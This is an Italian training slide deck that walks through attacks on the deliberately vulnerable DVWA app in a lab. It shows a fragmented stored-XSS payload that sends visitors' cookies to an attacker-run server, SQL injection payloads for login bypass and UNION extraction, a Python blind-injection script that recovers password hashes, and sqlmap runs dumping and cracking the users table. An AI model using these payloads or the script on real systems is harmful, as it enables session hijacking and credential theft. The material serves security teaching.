BUILD-WEEK

XSS - SQL INJECTION

INDICE SLIDE:

XSS STORED

SQL

- SQL = INJECTION MANUALI
- SQL = INJECTION PYTHON
- SQL = SQL MAP

COS'È UN ATTACCO XSS?

Un attacco XSS (Cross-Site Scripting) stored è una forma di attacco informatico in cui un malintenzionato inserisce codice script dannoso all'interno di un'applicazione web. L'obiettivo principale è quello di eseguire script malevoli sul browser degli utenti che visualizzano la pagina web compromessa. In un attacco XSS stored, il payload dannoso viene memorizzato sul server web e viene poi restituito agli utenti quando accedono a una determinata pagina.

STRATEGIA DI ATTACCO

Per compromettere questa applicazione web attraverso una vulnerabilità XSS, dobbiamo superare la strategia di sicurezza che impone un limite di caratteri massimi per l'input nella text area. Questo significa che dovremo frammentare il nostro codice JavaScript "malevolo" in segmenti più piccoli per adattarci ai limiti imposti.

Supponiamo che il limite di caratteri sia 30 e il nostro payload sia più lungo. Dovremmo suddividerlo in parti gestibili

Questa tecnica, chiamata "smuggling," è utilizzata per eludere limitazioni di lunghezza dell'input e condurre con successo attacchi XSS stored.

ANALIZZIAMO IL CODICE

1) Creo una Variabile Globale di nome A dove andrò a recuperare il cookie della attuale sessione dell'utente

2) Creo una Variabile Globale di nome B dove andrò a dire che voglio una codifica specifica del url da permettere di farlo eseguire al browser, e subito dopo vado a concatenare la Variabile del Cookie (A)

3) Creo una Variabile Globale di nome C dove andrò a definire l'indizzo IP del mio server dove andrò a mandare i cookie

4) Creo una Variabile Globale di nome D dove vado a Concatenare la Variabile C e B, facendo cosi' avremo dentro un unica variabile l'intero url con il codice malevolo

5) Creo una Variabile Globale di nome IMG dove andro a creare un tag img "immagine"

6) Adesso vado ad assemblare tutte le variabili, cosi da permettere al browser di eseguire correttamente il codice malevolo

1
```
<script>var A = document.cookie;</script>
```

2
```
<script>var B=encodeURIComponent(this.A);</script>
```

3
```
<script>var C = "http://0.0.0.0:8000/"</script>
```

4
```
<script>var D = this.C+this.B</script>
```

5
```
<script>var img= new Image()</script>
```

6
```
<script>this.img.src=this.D</script>
```

AVVIO SERVER

Con questo comando, avvierò il server per ricevere dai visitatori del sito i rispettivi cookie. senza che se ne accorgono

INVIO DEL CODICE MALEVOLO

Ora, l'unica cosa che ci rimarrà da fare sarà scrivere i frammenti del codice malevolo nella text area. In questo modo, salveremo tutte le variabili nello storage del sito. Infine, con l'ultimo "script," andremo a richiamarle tutte ed eseguire il codice malevolo.

Ricezione cookie

kali@kali: ~

File Azioni Modifica Visualizza Aiuto

```
┌──(kali㉿kali)-[~]
└─$ python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [12/Jan/2024 15:44:47] code 404, message File not found
127.0.0.1 - - [12/Jan/2024 15:44:47] "GET /security%3Dlow%3B%20PHPSESSID%3Daecb53a0a6a430293b68132d52070ba9 HTTP/1.1" 404 -
```

Ma cosa abbiamo mandato?

Filter Output

```
▸ <img src="http://0.0.0.0:8000/secu…a6a430293b68132d52070ba9">
```

Il risultato di tutte le variabili assemblate sarà un tag IMG che avrà come percorso dell'immagine l'indirizzo IP del nostro server. Questo servirà per effettuare una richiesta GET nel tentativo di recuperare un'immagine, utilizzando un percorso costruito con il cookie dell'utente. Quindi nel Log del server avremo i cookie di tutti gli utenti

SQL - MANUALI

INDICE SQL - MANUALI:

- BOOLEANI “STRINGHE E INTERI”
- UNION
- ENUMARZIONE COLONNE DB
- ENUMERAZIONE LUNGHEZZA PASSWORD
- ENUMERAZIONE CARATTERI PASSWORD

BOOLEANI - STRING

LA SQL DI TIPO BOOLEANO A LO SCOPO DI DARE SEMPRE UN RISULTATO DI TIPO POSITIVO, COSI' DA PERMETTERCI DI BYPASSARE PAGINE DI LOGIN MA NON SOLO

1' OR 1=1-- -

BOOLEANI - INTERI

LA DIFFERENZA CON I BOOLEANI "QUERY" DI STRINGHE IN QUESTO CASO È CHE IL DATABASE POTREBBE AVERE UN SISTEMA DI SICUREZZA CHE NON PERMETTE L'INSERIMENTO DI CARATTERI SPECIALI COME GLI APICI. DI CONSEGUENZA, DOVREMO ADATTARE LE QUERY OPPORTUNAMENTE.

1 OR 1=1-- -

UNION - ENUMERAZIONE COLONNE

'1' RAPPRESENTA UNA STRINGA QUALSIASI NELLA PRIMA PARTE DELLA QUERY.

UNION SELECT 1,2 È LA PARTE PRINCIPALE CHE AGGIUNGE UNA NUOVA "RIGA" ALLA RISPOSTA. IN QUESTO CASO, STIAMO DICENDO AL DATABASE DI AGGIUNGERE UNA RIGA CON I VALORI 1 E 2 NELLE COLONNE SELEZIONATE.

-- - È UN COMMENTO IN SQL CHE FA SÌ CHE IL RESTO DELLA QUERY ORIGINALE VENGA IGNORATO.

1' UNION SELECT 1,2-- -

UNION - ESTRAPOLARE USERNAME E PASSWORD

'1': RAPPRESENTA UNA STRINGA QUALSIASI NELLA PRIMA PARTE DELLA QUERY.

UNION SELECT "* *": ANDANDO A METTERE AL POSTO DEI NUMERI IL NOME DELLE COLONNE POTREMMO EFFETTIVAMENTE ESTRAPOLARE IL CONTENUTO DAL DB

FROM USERS: ANDREMMO A DIRE DA DOVE ANDARE A ESTRAPOLARE LE INFORMAZIONI

-- -: È UN COMMENTO IN SQL CHE FA SÌ CHE IL RESTO DELLA QUERY ORIGINALE VENGA IGNORATO.

1' UNION SELECT user,password FROM users-- -

1' AND (SELECT'x' from users WHERE first_name='admin' and LENGTH(password) > 32 LIMIT 1) = 'x'-- -

1': RAPPRESENTA UNA STRINGA QUALSIASI NELLA PRIMA PARTE DELLA QUERY.

AND: È UN OPERATORE LOGICO CHE COLLEGA DUE CONDIZIONI

(SELECT 'X' FROM USERS WHERE FIRST_NAME='ADMIN' AND LENGTH(PASSWORD) > 32 LIMIT 1): CERCA DI OTTENERE UNA 'X' SOLO SE L'AMMINISTRATORE HA UNA PASSWORD PIÙ LUNGA DI 32 CARATTERI.

= 'X': CONFRONTA IL RISULTATO DELLA SOTTOQUERY CON 'X'.

-- - È UN COMMENTO IN SQL CHE FA SÌ CHE IL RESTO DELLA QUERY ORIGINALE VENGA IGNORATO.

INFATTI, LA PAGINA DI DVWA RESTITUIRÀ UN RISULTATO SOLO SE LA PASSWORD È PIÙ LUNGA DI 32 CARATTERI. APPENA LA CONDIZIONE DIVENTA FALSA, LA PAGINA FORNIRÀ UNA RISPOSTA NEGATIVA DIFFERENTE. QUINDI, QUESTO CI PERMETTE DI CAPIRE L'EFFETTIVA LUNGHEZZA DELLA PASSWORD, SFRUTTANDO LE INFORMAZIONI CHE LA WEB APP CI FORNISCE.

Vulnerability: SQL Injection (Blind)

User ID:

Submit

```
ID: 1' AND (SELECT 'x' FROM users WHERE first_name='admin' AND substr(password, 1, 1) ='5' LIMIT 1) = 'x'-- -
First name: admin
Surname: admin
```

1' AND (SELECT 'x' FROM users WHERE first_name='admin' AND substr(password, 1, 1) ='a' LIMIT 1) = 'x'-- -

1': RAPPRESENTA UNA STRINGA QUALSIASI NELLA PRIMA PARTE DELLA QUERY.

AND: È UN OPERATORE LOGICO CHE COLLEGA DUE CONDIZIONI

(SELECT 'X' FROM USERS WHERE FIRST_NAME='ADMIN' AND SUBSTR(PASSWORD, 1, 1) ='A' LIMIT 1): CERCA DI OTTENERE UNA 'X' SOLO SE L'AMMINISTRATORE HA UNA PASSWORD IN CUI LA PRIMA LETTERA È 'A'.

= 'X': CONFRONTA IL RISULTATO DELLA SOTTOQUERY CON 'X'.

-- - È UN COMMENTO IN SQL CHE FA SÌ CHE IL RESTO DELLA QUERY ORIGINALE VENGA IGNORATO.

IN PRATICA, SE LA CONDIZIONE NELLA SOTTOQUERY È VERA (CIOÈ, SE LA PRIMA LETTERA DELLA PASSWORD DELL'AMMINISTRATORE È 'A'), L'INTERA ESPRESSIONE DIVENTA VERA, E IL SERVER RISPONDERÀ POSITIVAMENTE.

SQL - PYTHON

```python
import requests


url = "http://192.168.50.101/dvwa/vulnerabilities/sqli/"
custom_headers = {"Cookie": "security=low; PHPSESSID=aecb53a0a6a430293b68132d52070ba9"}
max_lenght = 1024
alfabeto = "0123456789" + "abcdefghijklmnopqrstuvwxyz" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"


def get_password_lenght(username):
    global url, custom_headers, max_lenght
    for i in range(1, max_lenght):
        sql_payload = f"1' AND (select 'x'q from users where first_name='admin' and LENGTH(password) > {i} LIMIT 1) = 'x'-- - "
        params = {"id": sql_payload, "Submit": "Submit"}
        r = requests.get(url, params=params, headers=custom_headers)
        if not "Surname: admin" in r.text:
            return i


def get_password(username):
    global url, custom_headers, alfabeto

    password_lenght = get_password_lenght(username)
    password = ""
    print(f"[{username}]: la lunghezza della pasword è: {password_lenght}")

    for i in range(1, password_lenght + 1):
        for c in alfabeto:
            sql_payload = f"1' AND (select 'x' from users where first_name='{username}' and substring(password, {i}, 1) = '{c}' LIMIT 1) = 'x'-- - "
            params = {"id": sql_payload, "Submit": "Submit"}
            r = requests.get(url, params=params, headers=custom_headers)
            if "Surname: admin" in r.text:
                password = password + c
                print(c, end="", flush=True)
                break
    print()
    return password


if __name__ == "__main__":
    users = ["admin", "Pablo"]
    for user in users:
        password = get_password(user)
        print(f"l'utente: {user} ha la password: {password}")

```

IL CODICE VISTO, NON FARÀ ALTRO CHE AUTOMATIZZARE LE DUE QUERY VISTE PRIMA, ATTRAVERSO CICLI FOR E LA VERIFICA DELLA RISPOSTA DELLA PAGINA WEB

RISULTATO

kali@kali: ~/Scrivania

File Azioni Modifica Visualizza Aiuto

```
┌──(kali㉿kali)-[~/Scrivania]
└─$ python codice.py
[admin]: la lunghezza della pasword è: 32
5f4dcc3b5aa765d61d8327deb882cf99
l'utente: admin ha la password: 5f4dcc3b5aa765d61d8327deb882cf99
[Pablo]: la lunghezza della pasword è: 32
0d107d09f5bbe40cade3de5c71e9e9b7
l'utente: Pablo ha la password: 0d107d09f5bbe40cade3de5c71e9e9b7

┌──(kali㉿kali)-[~/Scrivania]
└─$
```

SQL - SQLMAP

COSA FA SQLMAP?

SQLMap è uno strumento open source di penetration testing per individuare e sfruttare vulnerabilità di SQL injection in applicazioni web. Automatizza la scansione di un'applicazione, inviando query SQL malevoli, per rilevare punti di iniezione e successivamente sfruttarli per ottenere informazioni sensibili dal database.

```
kali@kali: ~/Scrivania
File  Azioni  Modifica  Visualizza  Aiuto
┌──(kali㉿kali)-[~/Scrivania]
└─$ sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=aecb53a0a6a430293b68132d52070ba9" -dbs
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.11#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program

[*] starting @ 16:20:14 /2024-01-12/

[16:20:14] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[16:20:14] [INFO] resuming back-end DBMS 'mysql'
[16:20:14] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=' AND (SELECT 6165 FROM (SELECT(SLEEP(5)))lqrw) AND 'vFZX'='vFZX&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=' UNION ALL SELECT CONCAT(0x7178717871,0x527a4663666467674f6d654b66464e497a6875796d5257504b4e4f5a6b6549624a704659646f4864,0x7176786b71),NULL-- -&Submit=Submit
---
[16:20:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL ≥ 5.0.12
[16:20:14] [INFO] fetching database names
[16:20:15] [WARNING] reflective value(s) found and filtering out
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195

[16:20:15] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.50.101'

[*] ending @ 16:20:15 /2024-01-12/
```

Per iniziare l'attacco, dobbiamo specificare un indirizzo URL utilizzando il parametro "-u". Successivamente, caricare i cookie della pagina web è necessario tramite il comando "--cookie". Infine, diciamo al tool quale informazione estrarre dal database; ad esempio, per ottenere i nomi dei database attivi sul sito, utilizziamo il comando "--dbs".

```
kali@kali: ~/Scrivania
File  Azioni  Modifica  Visualizza  Aiuto
┌──(kali㉿kali)-[~/Scrivania]
└─$ sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=aecb53a0a6a430293b68132d52070ba9" -D dvwa --tables
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.7.11#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program

[*] starting @ 16:20:55 /2024-01-12/

[16:20:55] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[16:20:55] [INFO] resuming back-end DBMS 'mysql'
[16:20:55] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=' AND (SELECT 6165 FROM (SELECT(SLEEP(5)))lqrw) AND 'vFZX'='vFZX&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=' UNION ALL SELECT CONCAT(0x7178717871,0x527a46636664676 74f6d654b66464e497a6875796d5257504b4e4f5a6b6549624a704659646f4864,0x7176786b71),NULL-- -&Submit=Submit
---
[16:20:55] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL ≥ 5.0.12
[16:20:55] [INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

[16:20:55] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.50.101'

[*] ending @ 16:20:55 /2024-01-12/
```

Dopo aver estratto i nomi dei database, procediamo all'estrazione delle tabelle al loro interno. Per specificare un database, useremo il comando "-D", e successivamente, per ottenere la lista delle tabelle all'interno di quel database, useremo l'opzione "--tables". In questo modo, otterremo un elenco completo delle tabelle.

```
kali@kali: ~/Scrivania
File  Azioni  Modifica  Visualizza  Aiuto

┌──(kali㉿kali)-[~/Scrivania]
└─$ sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=aecb53a0a6a430293b68132d52070ba9" -D dvwa -T users --columns

        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.7.11#stable}
|_ -| . [.]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program

[*] starting @ 16:21:26 /2024-01-12/

[16:21:26] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[16:21:26] [INFO] resuming back-end DBMS 'mysql'
[16:21:26] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=' AND (SELECT 6165 FROM (SELECT(SLEEP(5)))lqrw) AND 'vFZX'='vFZX&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=' UNION ALL SELECT CONCAT(0x7178717871,0x527a4663666467674f6d654b66464e497a6875796d5257504b4e4f5a6b6549624a704659646f4864,0x7176786b71),NULL-- -&Submit=Submit
---
[16:21:26] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL ≥ 5.0.12
[16:21:26] [INFO] fetching columns for table 'users' in database 'dvwa'
[16:21:26] [WARNING] reflective value(s) found and filtering out
Database: dvwa
Table: users
[6 columns]
+-------------+-------------+
| Column      | Type        |
+-------------+-------------+
| user        | varchar(15) |
| avatar      | varchar(70) |
| first_name  | varchar(15) |
| last_name   | varchar(15) |
| password    | varchar(32) |
| user_id     | int(6)      |
+-------------+-------------+

[16:21:26] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.50.101'

[*] ending @ 16:21:26 /2024-01-12/
```

Ora ci resta solo da conoscere i nomi delle colonne nelle tabelle. Come fatto precedentemente, per specificare la tabella da attaccare, useremo il comando "-T". Successivamente, per ottenere i nomi delle colonne in quella tabella, utilizzeremo il comando "--columns".

```
kali@kali: ~/Scrivania
File  Azioni  Modifica  Visualizza  Aiuto
└─$ sqlmap -u "http://192.168.50.101/dvwa/vulnerabilities/sqli_blind/?id=&Submit=Submit#" --cookie="security=low; PHPSESSID=aecb53a0a6a430293b68132d52070ba9" -D dvwa -T users -C user,password --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.7.11#stable}
|_ -| . [)]     | .'| . |
|___|_  [)]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not re
sponsible for any misuse or damage caused by this program

[*] starting @ 16:22:20 /2024-01-12/

[16:22:20] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly
[16:22:20] [INFO] resuming back-end DBMS 'mysql'
[16:22:20] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=' AND (SELECT 6165 FROM (SELECT(SLEEP(5)))lqrw) AND 'vFZX'='vFZX&Submit=Submit

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: id=' UNION ALL SELECT CONCAT(0x7178717871,0x527a4663666467674f6d654b66464e497a6875796d5257504b4e4f5a6b6549624a704659646f4864,0x7176786b71),NULL-- -&Submit=Submit
---
[16:22:20] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL ≥ 5.0.12
[16:22:20] [INFO] fetching entries of column(s) '`user`,password' for table 'users' in database 'dvwa'
[16:22:20] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q]
[16:22:25] [INFO] using hash method 'md5_generic_passwd'
[16:22:25] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
[16:22:25] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
[16:22:25] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
[16:22:25] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
Database: dvwa
Table: users
[5 entries]
+---------+----------------------------------------+
| user    | password                               |
+---------+----------------------------------------+
| admin   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
| gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   |
| 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  |
| pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  |
| smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) |
+---------+----------------------------------------+
```

Come ultima operazione, dobbiamo specificare il nome o i nomi delle colonne da cui estrarre i dati con il comando "-C". Successivamente, daremo anche il comando per catturare effettivamente i dati utilizzando "--dump".